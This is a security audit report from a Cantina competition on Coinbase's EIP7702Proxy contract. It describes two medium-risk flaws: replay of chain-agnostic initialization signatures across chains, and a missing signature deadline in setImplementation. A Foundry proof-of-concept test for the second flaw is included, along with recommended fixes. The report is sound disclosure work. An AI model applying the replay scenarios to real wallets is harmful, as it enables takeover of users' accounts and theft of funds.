CANTINA

Coinbase EIP7702Proxy

Competition

April 13, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Coinbase is a secure online platform for buying, selling, transferring, and storing cryptocurrency.

From Mar 20th to Mar 25th Cantina hosted a competition based on EIP7702Proxy. The participants identified a total of **9** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 2
- Low Risk: 2
- Gas Optimizations: 0
- Informational: 5

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 Medium Risk

3.1.1 Chain-agnostic initialization signature creates backdoor by signing only contract addresses

Submitted by guhu95, also found by Joshuajee

Severity: Medium Risk

Context: EIP7702Proxy.sol#L81-L88

Summary: Signing a chain agnostic payload assumes that `newImplementation` , `nonceTracker`, and `_receiver`, (and to a lesser extent `validator`), are all trusted by the user. This is fine in the case of a single chain since they can be trivially checked to be clearly safe. However, this cannot be assumed safe if designed to be replayed on other chains because these addresses can have malicious implementations on other chains.

Finding Description: While it's possible that Coinbase will use safe deployment practices, it's both not guaranteed by the code, and the proxy is designed to be generic. The generic chain-agnostic payload is unsafely signed.

Some examples of how the implementations could differ maliciously:

1. One of these dependency contracts on the first chain could have been deployed via create instead of create2, allowing the deployer to use different code on other chains.
2. The original addresses can be proxy addresses, and be under different control on the other chains.
3. The chain can have built-in upgradability, and allow the deployer to update contracts.
4. The chain can support metamorphic contracts (via non-6780 `selfdestruct`).
5. Etc..

Example scenario:

1. User signs a chain-agnostic EIP-7702 tuple and a chain-agnostic initialization payload.
2. The deployer account that was used to deploy a honest `Implementation`, `NonceTracker`, or `DefaultReceiver` is compromized. Possibly long after it's no longer in active use.
3. On another chain, a malicious `implementation`, or malicious nonce tracker (allowing replay), or malicious default receiver (allowing adding owners in storage prior to init) are deployed at the originally signed addresses.
4. The auth tuple and init payload are replayed, allowing the user's funds to be compromized.
5. Alternatively, even if the user has no funds on the other chain, since the EOA will be highjacked there, it may be able to originate cross chain messages that will compromize the EOA's funds on other chains.

Impact Explanation: Malicious take over of users' EOAs. High impact.

Likelihood Explanation: Low/Medium likelihood, but of several independent different scenarios.

For example, create (instead of create2) is what's currently used in the the deployment script (separate branch) for the same repo. All that's needed for the attack in that case, is that far in the future, someone gains access to the no-longer used private key that was used to broadcast the script originally.

Recommendation:

- Add the codehashes of `newImplementation`, `nonceTracker`, `_receiver`, `validator` into the payload, and add a warning about the potential dangers of contracts on other chains having different trust and immutability assumptions.
- Alternatively, use a single factory to deploy all contracts trusted by the system (instead of linking already deployed contracts), sign off on the factory, and get the dependency addresses directly from the factory.

3.1.2 Missing Deadline Check in `setImplementation` Function

Submitted by bshyuunn, also found by Cheatc0d3, JesJupyter and DiligentWorker

Severity: Medium Risk

Context: EIP7702Proxy.sol#L79-L90

Summary: The `setImplementation` function in the `EIP7702Proxy` contract lacks a deadline check for signatures. This allows a signed message to remain valid indefinitely, potentially leading to unintended usage across different chains or at a later time.

Vulnerability Details: The user can set a new implementation using the `setImplementation` function. This requires an EOA signature, which is verified against a hash constructed as follows:

```
bytes32 hash = keccak256(
    abi.encode(
        _IMPLEMENTATION_SET_TYPEHASH,
        allowCrossChainReplay ? 0 : block.chainid,
        _proxy,
        nonceTracker.useNonce(),
        ERC1967Utils.getImplementation(),
        newImplementation,
        keccak256(callData),
        validator
    )
);
```

The function uses this hash to verify the signature. However, there is no deadline or expiration mechanism, meaning the signature can be reused indefinitely if `allowCrossChainReplay` is enabled or if the nonce remains valid.

Impact: If `allowCrossChainReplay` is set to `true`, the signature can be reused across multiple chains. This could allow an attacker or unintended party to apply the signature on a different chain or at a later time, potentially causing unexpected behavior or unauthorized upgrades to the contract's implementation.

Proof of Concept: The proof of concept demonstrates that a signature remains valid even after a significant time delay (e.g., 10 years). The test signs a message, waits, and then successfully uses the same signature to call `setImplementation`.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import {CoinbaseSmartWallet} from "../lib/smart-wallet/src/CoinbaseSmartWallet.sol";

import {EIP7702Proxy} from "../src/EIP7702Proxy.sol";
import {NonceTracker} from "../src/NonceTracker.sol";
import {DefaultReceiver} from "../src/DefaultReceiver.sol";
import {CoinbaseSmartWalletValidator} from "../src/validators/CoinbaseSmartWalletValidator.sol";

import {StorageSlot} from "openzeppelin-contracts/contracts/utils/StorageSlot.sol";

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

/**
 * @title CoinbaseImplementationTest
 * @dev Tests specific to the CoinbaseSmartWallet implementation
 */
contract CoinbaseImplementationTest is Test {
    uint256 constant _EOA_PRIVATE_KEY = 0xA11CE;
    address payable _eoa;

    uint256 constant _NEW_OWNER_PRIVATE_KEY = 0xB0B;
    address payable _newOwner;

    CoinbaseSmartWallet _wallet;
    CoinbaseSmartWallet _cbswImplementation;

    // core contracts
    EIP7702Proxy _proxy;
    NonceTracker _nonceTracker;
    DefaultReceiver _receiver;
    CoinbaseSmartWalletValidator _cbswValidator;
```

```
// constants
bytes4 constant ERC1271_MAGIC_VALUE = 0x1626ba7e;
bytes4 constant ERC1271_FAIL_VALUE = 0xffffffff;

/// @dev Storage slot with the address of the current implementation (ERC1967)
bytes32 internal constant _IMPLEMENTATION_SLOT =
↪  0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

bytes32 _IMPLEMENTATION_SET_TYPEHASH = keccak256(
    "EIP7702ProxyImplementationSet(uint256 chainId,address proxy,uint256 nonce,address
    ↪  currentImplementation,address newImplementation,bytes callData,address validator)"
);

function setUp() public virtual {
    // Set up test accounts
    _eoa = payable(vm.addr(_EOA_PRIVATE_KEY));
    _newOwner = payable(vm.addr(_NEW_OWNER_PRIVATE_KEY));

    // Deploy core contracts
    _cbswImplementation = new CoinbaseSmartWallet();
    _nonceTracker = new NonceTracker();
    _receiver = new DefaultReceiver();
    _cbswValidator = new CoinbaseSmartWalletValidator(_cbswImplementation);

    // Deploy proxy with receiver and nonce tracker
    _proxy = new EIP7702Proxy(address(_nonceTracker), address(_receiver));

    // Get the proxy's runtime code
    bytes memory proxyCode = address(_proxy).code;

    // Etch the proxy code at the target address
    vm.etch(_eoa, proxyCode);
}

// ======== PoC ========
function test_missingDeadlineCheck() public {

     // 1. The user signs a message to set the implementation.
    bytes memory initArgs = _createInitArgs(_newOwner);
    bytes memory signature = _signSetImplementationData(_EOA_PRIVATE_KEY, initArgs,
    ↪  address(_cbswImplementation));

    // 2. A significant amount of time passes after the user signs the message.
    skip(365 days * 10);

    // 3. The signature is still valid despite the long delay.
    EIP7702Proxy(_eoa).setImplementation(
        address(_cbswImplementation),
        initArgs,
        address(_cbswValidator),
        signature,
        true
    );
}

// ======== Utility Functions ========
/**
 * @dev Creates initialization arguments for CoinbaseSmartWallet
 * @param owner Address to set as the initial owner
 * @return Encoded initialization arguments for CoinbaseSmartWallet
 */
function _createInitArgs(address owner) internal pure returns (bytes memory) {
    bytes[] memory owners = new bytes[](1);
    owners[0] = abi.encode(owner);
    bytes memory ownerArgs = abi.encode(owners);
    return abi.encodePacked(CoinbaseSmartWallet.initialize.selector, ownerArgs);
}

/**
 * @dev Signs initialization data for CoinbaseSmartWallet that will be verified by the proxy
 * @param signerPk Private key of the signer
 * @param initArgs Initialization arguments to sign
 * @return Signature bytes
 */
function _signSetImplementationData(uint256 signerPk, bytes memory initArgs, address implementation)
↪  internal view returns (bytes memory) {
```

```
        bytes32 initHash = keccak256(
            abi.encode(
                _IMPLEMENTATION_SET_TYPEHASH,
                0, // chainId 0 for cross-chain
                _proxy,
                _nonceTracker.nonces(_eoa),
                _getERC1967Implementation(address(_eoa)),
                implementation,
                keccak256(initArgs),
                address(_cbswValidator)
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, initHash);
        return abi.encodePacked(r, s, v);
    }

    /**
     * @dev Helper to read the implementation address from ERC1967 storage slot
     * @param proxy Address of the proxy contract to read from
     * @return The implementation address stored in the ERC1967 slot
     */
    function _getERC1967Implementation(address proxy) internal view returns (address) {
        return address(uint160(uint256(vm.load(proxy, _IMPLEMENTATION_SLOT))));
    }

    /**
     * @dev Helper to create ECDSA signatures
     * @param pk Private key to sign with
     * @param hash Message hash to sign
     * @return signature Encoded signature bytes
     */
    function _sign(uint256 pk, bytes32 hash) internal pure returns (bytes memory signature) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, hash);
        return abi.encodePacked(r, s, v);
    }

}
```

To execute the proof of concept, place the above `PoC.t.sol` file in the `/test` directory and run the following command:

```
$ forge test --mt test_missingDeadlineCheck -vv

Ran 1 test for test/PoC.t.sol:CoinbaseImplementationTest
[PASS] test_missingDeadlineCheck() (gas: 212484)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.15ms (3.92ms CPU time)

Ran 1 test suite in 255.74ms (18.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: Add a `deadline` parameter to the `setImplementation` function and include it in the hash calculation. Verify that the deadline has not passed by comparing it to `block.timestamp`. For example:

```
  bytes32 internal constant _IMPLEMENTATION_SET_TYPEHASH = keccak256(
-     "EIP7702ProxyImplementationSet(uint256 chainId,address proxy,uint256 nonce,address
↪  currentImplementation,address newImplementation,bytes callData,address validator)"
+     "EIP7702ProxyImplementationSet(uint256 chainId,address proxy,uint256 nonce,address
↪  currentImplementation,address newImplementation,bytes callData,address validator,uint256 deadline)"
  );


  function setImplementation(
      address newImplementation,
      bytes calldata callData,
      address validator,
      bytes calldata signature,
      bool allowCrossChainReplay,
+     uint256 deadline
  ) external {
+     require(block.timestamp <= deadline, "Signature expired");
      bytes32 hash = keccak256(
          abi.encode(
              _IMPLEMENTATION_SET_TYPEHASH,
              allowCrossChainReplay ? 0 : block.chainid,
              _proxy,
              nonceTracker.useNonce(),
              ERC1967Utils.getImplementation(),
              newImplementation,
              keccak256(callData),
              validator,
+             deadline
          )
      );
      // Rest of the function remains the same
  }
```